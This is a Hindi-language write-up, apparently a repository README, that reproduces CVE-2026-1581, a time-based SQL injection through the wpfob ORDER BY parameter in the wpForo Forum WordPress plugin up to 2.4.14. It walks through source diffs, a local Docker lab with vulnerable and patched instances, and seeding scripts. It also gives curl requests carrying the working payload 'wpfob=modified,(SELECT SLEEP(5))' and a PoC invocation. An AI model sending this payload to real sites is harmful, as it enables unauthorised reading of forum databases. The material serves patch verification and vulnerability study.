
# CVE-2026-1581 का पुनरुत्पादन wpForo Forum <=2.4.14 में एक अनप्रमाणित समय-आधारित SQL इंजेक्शन का पुनरुत्पादन करता है, जिसमें Docker लैब और PoC शामिल है ताकि भेद्यता का प्रदर्शन किया जा सके और पैच को सत्यापित किया जा सके।
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2026-1581 |
| प्लगइन | wpForo फोरम |
| प्रभावित संस्करण | <= 2.4.14 |
| पैच किया गया संस्करण | 2.4.15 |
| भेद्यता प्रकार | बिना प्रमाणीकरण के समय-आधारित SQL इंजेक्शन (ORDER BY) |
| CVSS स्कोर | 7.5 (उच्च) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 wpForo फोरम प्लगइन (<= 2.4.14) में बिना प्रमाणीकरण के समय-आधारित SQL इंजेक्शन भेद्यता है। wpfob पैरामीटर का उपयोग ORDER BY क्लॉज़ में केवल टेक्स्ट सैनिटाइज़ेशन के साथ किया जाता है, जिससे बिना प्रमाणीकरण वाला हमलावर मनमाने SQL एक्सप्रेशन इंजेक्ट कर सकता है और डेटाबेस से डेटा पढ़ सकता है।
विक्रेता ने इसे संस्करण 2.4.15 में sanitize_text_field() को wpforo_sanitize_orderby() से बदलकर ठीक किया, जो संदर्भ-जागरूक व्हाइटलिस्ट लागू करता है।
केवल localhost + Docker Compose में चलाएं।
PoC एक समय-आधारित टाइमिंग प्रमाण है जो भेद्य और पैच किए गए संस्करणों के बीच अंतर दर्शाता है।
स्पष्ट प्राधिकरण के बिना किसी भी सिस्टम के विरुद्ध उपयोग न करें।
संस्करण प्रमाण: /community/ पेज /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (भेद्य) बनाम 2.4.15 (पैच किया गया) लोड करता है।
कोड प्रमाण: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
व्यवहार प्रमाण: wpfob=modified,(SELECT SLEEP(5)) भेद्य संस्करण पर ~5 सेकंड की देरी का कारण बनता है; पैच किया गया संस्करण लगभग बेसलाइन पर प्रतिक्रिया करता है।
CVE सलाहकार केवल यह बताता है कि यह wpfob पैरामीटर के माध्यम से समय-आधारित SQL इंजेक्शन है, जिसे 2.4.15 में ठीक किया गया था। विश्लेषण के समय, कोई सार्वजनिक PoC उपलब्ध नहीं था।
इसलिए यह राइट-अप 2.4.14 और 2.4.15 के बीच स्रोत कोड डिफिंग के माध्यम से बनाया गया था, HTTP इनपुट से सैनिटाइज़ेशन के माध्यम से उस बिंदु तक पैरामीटर का पता लगाते हुए जहां इसका उपयोग SQL क्वेरी बनाने के लिए किया जाता है — मूल कारण को समझने और समस्या को पुन: उत्पन्न करने के लिए।

wpfob का पता लगानास्रोत कोड में wpfob के लिए grep से शुरू करते हुए, यह पाया गया कि Recent पेज मान को सीधे GET पैरामीटर से लेता है और इसे orderby तर्क के रूप में निर्दिष्ट करता है।

भेद्य (2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
पैच किया गया (2.4.15) — समान फ़ाइल, सैनिटाइज़र बदला गया:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
recent.phpपर ध्यान क्यों? क्योंकि यह एक ट्रिगर करने योग्य रूट है जहांwpfobसीधे$args['orderby']को निर्दिष्ट किया जाता है।
ORDER BY ...एक बार $args['orderby'] सेट हो जाने पर, यह ORDER BY क्लॉज़ बनाने के लिए wpForo के क्वेरी बिल्डर में प्रवाहित होता है।
ORDER BY संयोजन (भेद्य 2.4.14)
classes/Topics.php:

classes/Posts.php:

व्याख्या
sanitize_text_field() केवल स्ट्रिंग को स्ट्रिप/साफ करता है — यह अनुमत कॉलम नामों की व्हाइटलिस्ट लागू नहीं करता है।orderby सीधे ORDER BY <orderby> में संयोजित किया जाता है, एक हमलावर ORDER BY स्थिति में मनमाने SQL एक्सप्रेशन इंजेक्ट कर सकता है।recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()संस्करण 2.4.15 एक संदर्भ-जागरूक व्हाइटलिस्ट सैनिटाइज़र पेश करता है जो डिफ़ॉल्ट मान लौटाता है यदि इनपुट अनुमत सूची में नहीं है:

wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082db_vuln / db_patched (MariaDB)seed_vuln / seed_patched — WordPress स्थापित करने, प्लगइन स्थापित करने, [wpforo] शॉर्टकोड के साथ /community/ पेज बनाने, permalinks कॉन्फ़िगर करने, .htaccess उत्पन्न करने और सत्यापन आर्टिफैक्ट बनाने के लिए wp-cli का उपयोग करता है।स्रोत पढ़ने से, wpfob का उपयोग स्पष्ट रूप से recent पेज पर किया जाता है:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=openedपरीक्षण से पहले कम से कम 1 विषय और 1 पोस्ट मौजूद होना चाहिए।
ORDER BY एक्सप्रेशन का मूल्यांकन नहीं कर सकता है, और कोई देरी नहीं देखी जाती — एक गलत नकारात्मक।कम से कम 1 विषय और 1 पोस्ट आवश्यक हैं।
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
अपेक्षित
attack_vuln ≈ baseline_vuln + ~5sattack_patched ≈ बेसलाइन (कोई देरी नहीं)
8081 (भेद्य), 8082 (पैच किया गया)docker-compose.ymlscripts/seed-wp.shप्रोजेक्ट फ़ोल्डर से:
docker compose up -d
जांचें कि दोनों इंस्टेंस सुलभ हैं:
http://localhost:8081/community/http://localhost:8082/community/और recent पेज:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened

पुनरुत्पादन क्षमता के लिए और गलत नकारात्मक को रोकने के लिए आवश्यक।
# 1) गणना जांचें (भेद्य)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) 1 विषय और 1 पोस्ट डालें (भेद्य)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
पैच किए गए इंस्टेंस के लिए, seed_vuln को seed_patched से बदलें।
वर्चुअल वातावरण का उपयोग करने की अनुशंसा की जाती है:
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
# भेद्य
python3 poc.py http://localhost:8081
# पैच किया गया
python3 poc.py http://localhost:8082

docker compose down -v